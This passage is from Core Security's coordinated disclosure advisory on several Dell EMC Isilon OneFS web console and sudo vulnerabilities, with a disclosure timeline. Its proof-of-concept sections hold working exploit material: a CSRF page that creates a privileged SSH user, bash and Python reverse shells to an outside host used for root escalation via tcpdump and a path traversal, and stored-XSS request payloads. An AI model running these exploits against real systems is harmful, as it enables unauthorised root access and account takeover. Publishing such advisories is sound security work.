Dell EMC Isilon OneFS versions between 8.0.1.0 - 8.0.1.2 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.0.0 - 8.0.0.6 (all CVEs) . Dell EMC Isilon OneFS versions 7.2.1.x (CVE-2018-1186, CVE-2018-1188, CVE-2018-1201, CVE-2018-1204, CVE-2018-1213) . https://support.emc.com/downloads/15209_Isilon-OneFS 6. **Credits** These vulnerabilities were discovered and researched by Ivan Huertas and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. **Technical Description / Proof of Concept Code** The Web console contains several sensitive features that are vulnerable to cross-site request forgery. We describe this issue in section 7.1. Sections 7.2 and 7.3 show two vectors to escalate privileges to root. Various persistent cross-site scripting issues are presented in the remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). **Cross-site request forgery leading to command execution** [CVE-2018-1213] There are no anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. The Web console contains a plethora of sensitive actions that can be abused, such as adding new users with SSH access or re-mapping existing storage directories to allow read-write-execute access to all users. All requests are JSON-encoded, which in some cases might hinder exploitation of CSRF vulnerabilities. However, the application does not verify the content-type set. This allows an attacker to exploit the CSRF vulnerabilities by setting a text/plain content-type and sending the request body as JSON_PAYLOAD=ignored. The following proof of concept creates a new user and assigns him a new role with enough privileges to log in via SSH, configure identifies, manage authentication providers, configure the cluster and run the remote support tools. /----- <html> <body> <form id="addUser" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem" method="POST" enctype="text/plain"> <input type="hidden" name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}" value="" /> </form> <form id="addRole" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST" enctype="text/plain"> <input type="hidden" name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}" value="" /> </form> <script> document.getElementById("addUser").submit(); window.setTimeout(function() { document.getElementById("addRole").submit() }, 1000); </script> </body> </html> -----/ 7.2. **Privilege escalation due to incorrect sudo permissions** [CVE-2018-1203] The compadmin user can run the tcpdump binary with root privileges via sudo. This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files. /----- pepe-1$ id uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) pepe-1$ cat /tmp/lala.sh #!/bin/bash bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 -----/ Once the desired shell script is in place, the attacker can run tcpdump as follows to trigger the execution: /----- pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump tcpdump: WARNING: unable to contact casperd tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 65535 bytes /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused -----/ As can be seen below, the script runs with root privileges: /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 57692) bash: no job control in this shell [root@pepe-1 /compadmin]# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.3. **Privilege escalation via remote support scripts** [CVE-2018-1204] >From the documentation: "OneFS allows remote support through EMC Secure Remote Services (ESRS) which monitors your EMC Isilon cluster, and with your permission, allows remote access to Isilon Technical Support personnel to gather cluster data and troubleshoot issues." "After you enable remote support through ESRS, Isilon Technical Support personnel can request logs with scripts that gather EMC Isilon cluster data and then upload the data. The remote support scripts based on the Isilon isi_gather_info log-gathering tool are located in the /ifs/data/Isilon_Support/ directory on each node." "Additionally, isi_phone_home, a tool that focuses on cluster- and node-specific data, is enabled once you enable ESRS. This tool is pre-set to send information about your cluster to Isilon Technical Support on a weekly basis. You can disable or enable isi_phone_home from the OneFS command-line interface." As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo. This tool is vulnerable to a path traversal when reading the script file to run, which would enable an attacker to execute arbitrary python code with root privileges. If remote support is not enabled, an attacker could perform the following operations in order to enable it: /----- pepe-1$ sudo isi network subnets create 1 ipv4 1 pepe-1$ sudo isi network pools create 1.0 pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes --primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no --gateway-access-pools=1.0 -----/ The isi_phone_home tool is supposed to run scripts located in the root-only writable directory /usr/local/isi_phone_home/script. However, the provided script name is used to construct the file path without sanitization, allowing an attacker to reference other locations. /----- def run_script(script_file_name): script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name if os.path.isfile(script_path): cmd = 'python ' + script_path + ' 2>&1 ' command_thread = command.Command(cmd) exit_code, output = command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) if exit_code: logging.error("Error: {0} running script: {1} ".format(str(exit_code), output)) else: logging.error("File: {0} list_file_name doesn't exist ".format(script_path)) -----/ The final step would be to create a malicious python script on any writable location and call it via the isi_phone_tool using sudo. Keep in mind that the previous steps are not required if the system does already have remote support enabled. /----- pepe-1$ cat /tmp/lala.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.66",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) pepe-1$ sudo /usr/bin/isi_phone_home --script-file ../../../../../tmp/lala.py -----/ /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 56807) pepe-1# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.4. *Persistent cross-site scripting in the cluster description* [CVE-2018-1186] The description parameter of the /cluster/identity endpoint is vulnerable to cross-site scripting. After the cluster's description is updated, the payload will be executed every time the user opens the Web console. /----- PUT /platform/3/cluster/identity HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"description":"my cluster<img src=x onerror=\"alert(1)\"/>"} -----/ 7.5. **Persistent cross-site scripting in the Network Configuration page** [CVE-2018-1187] The description parameter of the /network/groupnets endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the network configuration page. /----- POST /platform/4/network/groupnets HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 186 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"description":"lala<script>alert(1)</script>","dns_cache_enabled":true,"dns_options":[],"dns_search":[],"dns_servers":[],"name":"pepito2","server_side_dns_search":false} -----/ 7.6. **Persistent cross-site scripting in the Authentication Providers page** [CVE-2018-1188] The realm parameter of the /auth/settings/krb5/realms endpoint is vulnerable to cross-site scripting. After the realm is updated, the payload will be executed every time the user opens the Kerberos tab of the Authentication Providers page. /----- POST /platform/1/auth/settings/krb5/realms HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 78 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"is_default_realm":true,"kdc":[],"realm":"ASDASD<img src=x onerror=alert(1)"} -----/ 7.7. **Persistent cross-site scripting in the Antivirus page** [CVE-2018-1189] The name parameter of the /antivirus/policies endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the Antivirus page. /----- POST /platform/3/antivirus/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 172 Cookie: isisessid=c6903f55-43e7-42e2-b587-9f68142c3e06; Connection: close {"name":"pepe<img src=x onerror=\"alert(1)\"/>","description":"pepito","enabled":true,"force_run":false,"impact":null,"paths":["/ifs"],"recursion_depth":-1,"schedule":null} -----/ 7.8. **Persistent cross-site scripting in the Job Operations page** [CVE-2018-1201] The description parameter of the /job/policies endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the Impact Policies section of the Job Operations page. /----- POST /platform/1/job/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 210 Cookie: isisessid=8a5026c0-f045-4505-9d2b-ae83bc90f8ea; Connection: close {"name":"my policy","description":"<img src=x onerror=\"alert(1)\"/>","intervals":[{"begin":"Sunday 00:00","end":"Sunday 00:00","impact":"Low"},{"impact":"Low","begin":"Sunday 01:03","end":"Monday 01:01"}]} -----/ 7.9. **Persistent cross-site scripting in the NDMP page** [CVE-2018-1202] The name parameter of the /protocols/ndmp/users endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the NDMP Settings section of the NDMP page. /----- POST /platform/3/protocols/ndmp/users HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 64 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"name":"<img src=x onerror=\"alert(1)\"/>","password":"123123"} -----/ 8. **Report Timeline** 2017-09-25: Core Security sent an initial notification to Dell EMC, including a draft advisory. 2017-09-26: Dell EMC confirmed reception and informed an initial response would be ready by October 5th. 2017-10-05: Dell EMC confirmed problem exists for all vulnerabilities reported except one, for which evaluation will be finalized soon. Dell EMC stated that, for the confirmed issues, a remediation plan will be provided by 10/16. 2017-10-05: Core Security thanked the follow up email. 2017-10-06: Dell EMC reported an update on one privilege escalation vulnerability reported, stating that 'ISI_PRIV_AUTH, and ISI_PRIV_ROLE both are equivalent to admin level access'. They said they will be updating the documentation to make it clearer. 2017-10-11: Core Security thanked for the clarification and confirmed that section will be removed from the final advisory. 2017-10-16: Core Security thanked the information and said it will analyze the proposals sent once all the data is available. 2017-10-19: Dell EMC sent a schedule for the remaining three reported vulnerabilities, with specific dates for every product's version. 2017-10-31: Core Security on the schedule sent, stating that fixing the vulnerabilities by June 2018 is unacceptable given current industry standards. Requested a review of the timeline or a thorough explanation that justifies such delay. 2017-11-01: Dell EMC answered back stating that after reviewing the original schedule, they said they believe they could have fixes ready for versions 8.0.x and 8.1.x by January 2018. Only caveat is the vulnerability 7.1 that might be pushed past January, although they said they think they could meet the January deadline. 2017-11-13: Core Security thanked Dell's review of the release dates and agreed on the proposed schedule, stating Core Security would like to publish a single advisory for all the vulnerabilities reported. Also requested CVE IDs for each of the issues. 2018-01-16: Core Security asked for a status update on the release date for the fixes since there was no update from Dell EMC. 2018-01-17: Dell EMC answered back stating they are awaiting confirmation from the product team about the exact dates of release. They said they will get back to us by the end of this week. Dell EMC also asked our GPG public key again. 2018-01-18: Core Security thanked for the update and sent the advisory's public GPG key. 2018-01-19: Dell EMC stated they are currently working on drafting their advisory and will send it back to us (including CVEs) once they have the necessary approvals. 2018-01-23: Dell EMC asked for our updated draft advisory. 2018-01-25: Dell EMC notified that the team are targeting to have the fix available by February 12th. Additionally, Dell will send its draft advisory by January 31th. 2018-01-29: Core Security thanked for the update and proposed February 14th as publication date. 2018-01-31: Dell EMC informed Core Security that they agreed to release on February 14th. They also provided CVE IDs for each vulnerability reported. 2018-02-01: Dell EMC sent its draft advisory. 2018-02-14: Advisory CORE-2017-0009 published. **References** [1] https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. **Disclaimer** The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/